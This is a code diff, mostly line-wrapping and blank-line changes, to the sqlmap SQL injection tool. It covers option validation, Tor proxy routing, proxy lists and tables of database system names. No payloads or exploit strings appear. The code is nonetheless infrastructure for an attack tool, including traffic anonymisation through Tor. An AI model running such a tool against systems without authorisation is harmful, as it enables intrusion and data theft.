conf.data = readInput(message, default=None) conf.data = readInput(message, default=None)
if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url): if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url):
warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST) warnMsg = "no GET and/or %s parameter(s) found for testing " % (
(conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). " warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). "
if not conf.crawlDepth and not conf.forms: if not conf.crawlDepth and not conf.forms:
warnMsg += "Will search for forms" warnMsg += "Will search for forms"
@ -2276,6 +2358,7 @@ def _useWizardInterface():
kb.wizardMode = True kb.wizardMode = True
def _saveConfig(): def _saveConfig():
""" """
Saves the command line options to a sqlmap configuration INI file Saves the command line options to a sqlmap configuration INI file
@ -2293,6 +2376,7 @@ def _saveConfig():
infoMsg = "saved command line options to the configuration file '%s'" % conf.saveConfig infoMsg = "saved command line options to the configuration file '%s'" % conf.saveConfig
logger.info(infoMsg) logger.info(infoMsg)
def setVerbosity(): def setVerbosity():
""" """
This function set the verbosity of sqlmap output messages. This function set the verbosity of sqlmap output messages.
@ -2319,6 +2403,7 @@ def setVerbosity():
elif conf.verbose >= 5: elif conf.verbose >= 5:
logger.setLevel(CUSTOM_LOGGING.TRAFFIC_IN) logger.setLevel(CUSTOM_LOGGING.TRAFFIC_IN)
def _normalizeOptions(inputOptions): def _normalizeOptions(inputOptions):
""" """
Sets proper option types Sets proper option types
@ -2356,6 +2441,7 @@ def _normalizeOptions(inputOptions):
inputOptions[key] = value inputOptions[key] = value
def _mergeOptions(inputOptions, overrideOptions): def _mergeOptions(inputOptions, overrideOptions):
""" """
Merge command line options with configuration file and default options. Merge command line options with configuration file and default options.
@ -2410,6 +2496,7 @@ def _mergeOptions(inputOptions, overrideOptions):
mergedOptions.update(conf) mergedOptions.update(conf)
def _setTrafficOutputFP(): def _setTrafficOutputFP():
if conf.trafficFile: if conf.trafficFile:
infoMsg = "setting file for logging HTTP traffic" infoMsg = "setting file for logging HTTP traffic"
@ -2417,12 +2504,14 @@ def _setTrafficOutputFP():
conf.trafficFP = openFile(conf.trafficFile, "w+") conf.trafficFP = openFile(conf.trafficFile, "w+")
def _setupHTTPCollector(): def _setupHTTPCollector():
if not conf.harFile: if not conf.harFile:
return return
conf.httpCollector = HTTPCollectorFactory(conf.harFile).create() conf.httpCollector = HTTPCollectorFactory(conf.harFile).create()
def _setDNSServer(): def _setDNSServer():
if not conf.dnsDomain: if not conf.dnsDomain:
return return
@ -2447,15 +2536,18 @@ def _setDNSServer():
errMsg += "for incoming address resolution attempts" errMsg += "for incoming address resolution attempts"
raise SqlmapMissingPrivileges(errMsg) raise SqlmapMissingPrivileges(errMsg)
def _setProxyList(): def _setProxyList():
if not conf.proxyFile: if not conf.proxyFile:
return return
conf.proxyList = [] conf.proxyList = []
for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)): for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)",
readCachedFileContent(conf.proxyFile)):
_, type_, address, port = match.groups() _, type_, address, port = match.groups()
conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port)) conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port))
def _setTorProxySettings(): def _setTorProxySettings():
if not conf.tor: if not conf.tor:
return return
@ -2465,6 +2557,7 @@ def _setTorProxySettings():
else: else:
_setTorSocksProxySettings() _setTorSocksProxySettings()
def _setTorHttpProxySettings(): def _setTorHttpProxySettings():
infoMsg = "setting Tor HTTP proxy settings" infoMsg = "setting Tor HTTP proxy settings"
logger.info(infoMsg) logger.info(infoMsg)
@ -2487,6 +2580,7 @@ def _setTorHttpProxySettings():
warnMsg += "(e.g. Vidalia)" warnMsg += "(e.g. Vidalia)"
logger.warning(warnMsg) logger.warning(warnMsg)
def _setTorSocksProxySettings(): def _setTorSocksProxySettings():
infoMsg = "setting Tor SOCKS proxy settings" infoMsg = "setting Tor SOCKS proxy settings"
logger.info(infoMsg) logger.info(infoMsg)
@ -2500,9 +2594,11 @@ def _setTorSocksProxySettings():
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
# SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29) # SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29)
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, port) socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4,
LOCALHOST, port)
socks.wrapmodule(_http_client) socks.wrapmodule(_http_client)
def _setHttpChunked(): def _setHttpChunked():
if conf.chunked and conf.data: if conf.chunked and conf.data:
if hasattr(_http_client.HTTPConnection, "_set_content_length"): if hasattr(_http_client.HTTPConnection, "_set_content_length"):
@ -2517,6 +2613,7 @@ def _setHttpChunked():
_http_client.HTTPConnection.putheader = putheader _http_client.HTTPConnection.putheader = putheader
def _checkWebSocket(): def _checkWebSocket():
if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")): if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")):
try: try:
@ -2526,6 +2623,7 @@ def _checkWebSocket():
errMsg += "in order to use WebSocket functionality" errMsg += "in order to use WebSocket functionality"
raise SqlmapMissingDependence(errMsg) raise SqlmapMissingDependence(errMsg)
def _checkTor(): def _checkTor():
if not conf.checkTor: if not conf.checkTor:
return return
@ -2545,6 +2643,7 @@ def _checkTor():
infoMsg = "Tor is properly being used" infoMsg = "Tor is properly being used"
logger.info(infoMsg) logger.info(infoMsg)
def _basicOptionValidation(): def _basicOptionValidation():
if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0): if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0):
errMsg = "value for option '--start' (limitStart) must be an integer value greater than zero (>0)" errMsg = "value for option '--start' (limitStart) must be an integer value greater than zero (>0)"
@ -2563,12 +2662,12 @@ def _basicOptionValidation():
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \ if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \
isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart: isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart:
warnMsg = "usage of option '--start' (limitStart) which is bigger than value for --stop (limitStop) option is considered unstable" warnMsg = "usage of option '--start' (limitStart) which is bigger than value for --stop (limitStop) option is considered unstable"
logger.warning(warnMsg) logger.warning(warnMsg)
if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \ if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \
isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar: isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar:
errMsg = "value for option '--first' (firstChar) must be smaller than or equal to value for --last (lastChar) option" errMsg = "value for option '--first' (firstChar) must be smaller than or equal to value for --last (lastChar) option"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
@ -2688,7 +2787,6 @@ def _basicOptionValidation():
warnMsg += "option '--retry-on' was provided" warnMsg += "option '--retry-on' was provided"
logger.warning(warnMsg) logger.warning(warnMsg)
if conf.cookieDel and len(conf.cookieDel) != 1: if conf.cookieDel and len(conf.cookieDel) != 1:
errMsg = "option '--cookie-del' should contain a single character (e.g. ';')" errMsg = "option '--cookie-del' should contain a single character (e.g. ';')"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
@ -2796,11 +2894,13 @@ def _basicOptionValidation():
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True): if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True):
errMsg = "option '--tor-type' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(PROXY_TYPE, True)) errMsg = "option '--tor-type' accepts one of following values: %s" % ", ".join(
getPublicTypeMembers(PROXY_TYPE, True))
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.dumpFormat not in getPublicTypeMembers(DUMP_FORMAT, True): if conf.dumpFormat not in getPublicTypeMembers(DUMP_FORMAT, True):
errMsg = "option '--dump-format' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(DUMP_FORMAT, True)) errMsg = "option '--dump-format' accepts one of following values: %s" % ", ".join(
getPublicTypeMembers(DUMP_FORMAT, True))
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.skip and conf.testParameter: if conf.skip and conf.testParameter:
@ -2833,7 +2933,9 @@ def _basicOptionValidation():
errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)" errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)): if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile,
conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies,
conf.purge, conf.listTampers)):
errMsg = "option '--crack' should be used as a standalone" errMsg = "option '--crack' should be used as a standalone"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
@ -2866,11 +2968,13 @@ def _basicOptionValidation():
errMsg = "cookies file '%s' does not exist" % os.path.abspath(conf.loadCookies) errMsg = "cookies file '%s' does not exist" % os.path.abspath(conf.loadCookies)
raise SqlmapFilePathException(errMsg) raise SqlmapFilePathException(errMsg)
def initOptions(inputOptions=AttribDict(), overrideOptions=False): def initOptions(inputOptions=AttribDict(), overrideOptions=False):
_setConfAttributes() _setConfAttributes()
_setKnowledgeBaseAttributes() _setKnowledgeBaseAttributes()
_mergeOptions(inputOptions, overrideOptions) _mergeOptions(inputOptions, overrideOptions)
def init(): def init():
""" """
Set attributes into both configuration and knowledge base singletons Set attributes into both configuration and knowledge base singletons

View File

@ -42,6 +42,7 @@ from thirdparty.six.moves import http_client as _http_client
_rand = 0 _rand = 0
def dirtyPatches(): def dirtyPatches():
""" """
Place for "dirty" Python related patches Place for "dirty" Python related patches
@ -93,6 +94,7 @@ def dirtyPatches():
else: else:
os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size)) os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size))
def resolveCrossReferences(): def resolveCrossReferences():
""" """
Place for cross-reference resolution Place for cross-reference resolution
@ -112,6 +114,7 @@ def resolveCrossReferences():
lib.utils.sqlalchemy.getSafeExString = getSafeExString lib.utils.sqlalchemy.getSafeExString = getSafeExString
thirdparty.ansistrm.ansistrm.stdoutEncode = stdoutEncode thirdparty.ansistrm.ansistrm.stdoutEncode = stdoutEncode
def pympTempLeakPatch(tempDir): def pympTempLeakPatch(tempDir):
""" """
Patch for "pymp" leaking directories inside Python3 Patch for "pymp" leaking directories inside Python3
@ -123,6 +126,7 @@ def pympTempLeakPatch(tempDir):
except: except:
pass pass
def unisonRandom(): def unisonRandom():
""" """
Unifying random generated data across different Python versions Unifying random generated data across different Python versions

View File

@ -11,6 +11,7 @@ import os
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import paths from lib.core.data import paths
def profile(profileOutputFile=None): def profile(profileOutputFile=None):
""" """
This will run the program and present profiling data in a nice looking graph This will run the program and present profiling data in a nice looking graph
@ -25,5 +26,6 @@ def profile(profileOutputFile=None):
# Start sqlmap main function and generate a raw profile file # Start sqlmap main function and generate a raw profile file
cProfile.run("start()", profileOutputFile) cProfile.run("start()", profileOutputFile)
infoMsg = "execution profiled and stored into file '%s' (e.g. 'gprof2dot -f pstats %s | dot -Tpng -o /tmp/sqlmap_profile.png')" % (profileOutputFile, profileOutputFile) infoMsg = "execution profiled and stored into file '%s' (e.g. 'gprof2dot -f pstats %s | dot -Tpng -o /tmp/sqlmap_profile.png')" % (
profileOutputFile, profileOutputFile)
logger.info(infoMsg) logger.info(infoMsg)

View File

@ -59,4 +59,5 @@ if _readline:
def clear_history(): def clear_history():
pass pass
_readline.clear_history = clear_history _readline.clear_history = clear_history

View File

@ -16,6 +16,7 @@ from lib.core.exception import SqlmapValueException
from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNICODE_ENCODING
from lib.utils.safe2bin import safechardecode from lib.utils.safe2bin import safechardecode
class Replication(object): class Replication(object):
""" """
This class holds all methods/classes used for database This class holds all methods/classes used for database
@ -61,11 +62,15 @@ class Replication(object):
try: try:
self.execute('DROP TABLE IF EXISTS "%s"' % self.name) self.execute('DROP TABLE IF EXISTS "%s"' % self.name)
if not typeless: if not typeless:
self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in self.columns))) self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join(
'"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in
self.columns)))
else: else:
self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns))) self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join(
'"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns)))
except Exception as ex: except Exception as ex:
errMsg = "problem occurred ('%s') while initializing the sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg = "problem occurred ('%s') while initializing the sqlite database " % getSafeExString(ex,
UNICODE_ENCODING)
errMsg += "located at '%s'" % self.parent.dbpath errMsg += "located at '%s'" % self.parent.dbpath
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
@ -75,7 +80,8 @@ class Replication(object):
""" """
if len(values) == len(self.columns): if len(values) == len(self.columns):
self.execute('INSERT INTO "%s" VALUES (%s)' % (self.name, ','.join(['?'] * len(values))), safechardecode(values)) self.execute('INSERT INTO "%s" VALUES (%s)' % (self.name, ','.join(['?'] * len(values))),
safechardecode(values))
else: else:
errMsg = "wrong number of columns used in replicating insert" errMsg = "wrong number of columns used in replicating insert"
raise SqlmapValueException(errMsg) raise SqlmapValueException(errMsg)
@ -87,7 +93,8 @@ class Replication(object):
except UnicodeError: except UnicodeError:
self.parent.cursor.execute(sql, cleanReplaceUnicode(parameters or [])) self.parent.cursor.execute(sql, cleanReplaceUnicode(parameters or []))
except sqlite3.OperationalError as ex: except sqlite3.OperationalError as ex:
errMsg = "problem occurred ('%s') while accessing sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg = "problem occurred ('%s') while accessing sqlite database " % getSafeExString(ex,
UNICODE_ENCODING)
errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath
errMsg += "it's not used by some other program" errMsg += "it's not used by some other program"
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)

View File

@ -12,6 +12,7 @@ import subprocess
from lib.core.common import openFile from lib.core.common import openFile
from lib.core.convert import getText from lib.core.convert import getText
def getRevisionNumber(): def getRevisionNumber():
""" """
Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD" Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD"
@ -56,7 +57,8 @@ def getRevisionNumber():
if not retVal: if not retVal:
try: try:
process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
stdout, _ = process.communicate() stdout, _ = process.communicate()
match = re.search(r"(?i)[0-9a-f]{32}", getText(stdout or "")) match = re.search(r"(?i)[0-9a-f]{32}", getText(stdout or ""))
retVal = match.group(0) if match else None retVal = match.group(0) if match else None

View File

@ -16,6 +16,7 @@ from lib.core.enums import HASHDB_KEYS
from lib.core.enums import OS from lib.core.enums import OS
from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_DBMS
def setDbms(dbms): def setDbms(dbms):
""" """
@param dbms: database management system to be set into the knowledge @param dbms: database management system to be set into the knowledge
@ -37,6 +38,7 @@ def setDbms(dbms):
logger.info("the back-end DBMS is %s" % Backend.getDbms()) logger.info("the back-end DBMS is %s" % Backend.getDbms())
def setOs(): def setOs():
""" """
Example of kb.bannerFp dictionary: Example of kb.bannerFp dictionary:

View File

@ -23,7 +23,8 @@ from thirdparty.six import unichr as _unichr
VERSION = "1.7.1.12" VERSION = "1.7.1.12"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) VERSION_STRING = "sqlmap/%s#%s" % (
'.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
DESCRIPTION = "automatic SQL injection and database takeover tool" DESCRIPTION = "automatic SQL injection and database takeover tool"
SITE = "https://sqlmap.org" SITE = "https://sqlmap.org"
DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE) DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE)
@ -128,7 +129,8 @@ MAX_MURPHY_SLEEP_TIME = 3
GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&amp;cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)" GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&amp;cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)"
# Google Search consent cookie # Google Search consent cookie
GOOGLE_CONSENT_COOKIE = "CONSENT=YES+shp.gws-%s-0-RC1.%s+FX+740" % (time.strftime("%Y%m%d"), "".join(random.sample(string.ascii_lowercase, 2))) GOOGLE_CONSENT_COOKIE = "CONSENT=YES+shp.gws-%s-0-RC1.%s+FX+740" % (
time.strftime("%Y%m%d"), "".join(random.sample(string.ascii_lowercase, 2)))
# Regular expression used for extracting results from DuckDuckGo search # Regular expression used for extracting results from DuckDuckGo search
DUCKDUCKGO_REGEX = r'<a class="result__url" href="(htt[^"]+)' DUCKDUCKGO_REGEX = r'<a class="result__url" href="(htt[^"]+)'
@ -262,21 +264,39 @@ IS_WIN = PLATFORM == "nt"
IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno()) IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno())
# DBMS system databases # DBMS system databases
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB") MSSQL_SYSTEM_DBS = (
"Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys") MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys")
PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent") PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL") ORACLE_SYSTEM_DBS = (
"ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI",
"BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES",
"HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA",
"ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA",
"SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY",
"WKSYS", "WMSYS", "XDB", "XS$NULL")
SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2") ACCESS_SYSTEM_DBS = (
FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") "MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage",
"MSysAccessXML", "MSysModules", "MSysModules2")
FIREBIRD_SYSTEM_DBS = (
"RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE",
"RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS",
"RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES",
"RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS",
"RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS",
"RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN") MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs") SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS") DB2_SYSTEM_DBS = (
"NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC",
"SYSSTAT", "SYSTOOLS")
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache") H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache")
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT") DERBY_SYSTEM_DBS = (
"NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT")
VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",) VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",)
MCKOI_SYSTEM_DBS = ("",) MCKOI_SYSTEM_DBS = ("",)
PRESTO_SYSTEM_DBS = ("information_schema",) PRESTO_SYSTEM_DBS = ("information_schema",)
@ -293,7 +313,9 @@ VIRTUOSO_SYSTEM_DBS = ("",)
# Note: (<regular>) + (<forks>) # Note: (<regular>) + (<forks>)
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle") MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle")
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb") PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + (
"cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte",
"yugabytedb")
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or") ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
SQLITE_ALIASES = ("sqlite", "sqlite3") SQLITE_ALIASES = ("sqlite", "sqlite3")
ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet") ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet")
@ -319,12 +341,22 @@ FRONTBASE_ALIASES = ("frontbase",)
RAIMA_ALIASES = ("raima database manager", "raima", "raimadb", "raimadm", "rdm", "rds", "velocis") RAIMA_ALIASES = ("raima database manager", "raima", "raimadb", "raimadm", "rdm", "rds", "velocis")
VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso") VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso")
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) DBMS_DIRECTORY_DICT = dict(
(getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES) SUPPORTED_DBMS = set(
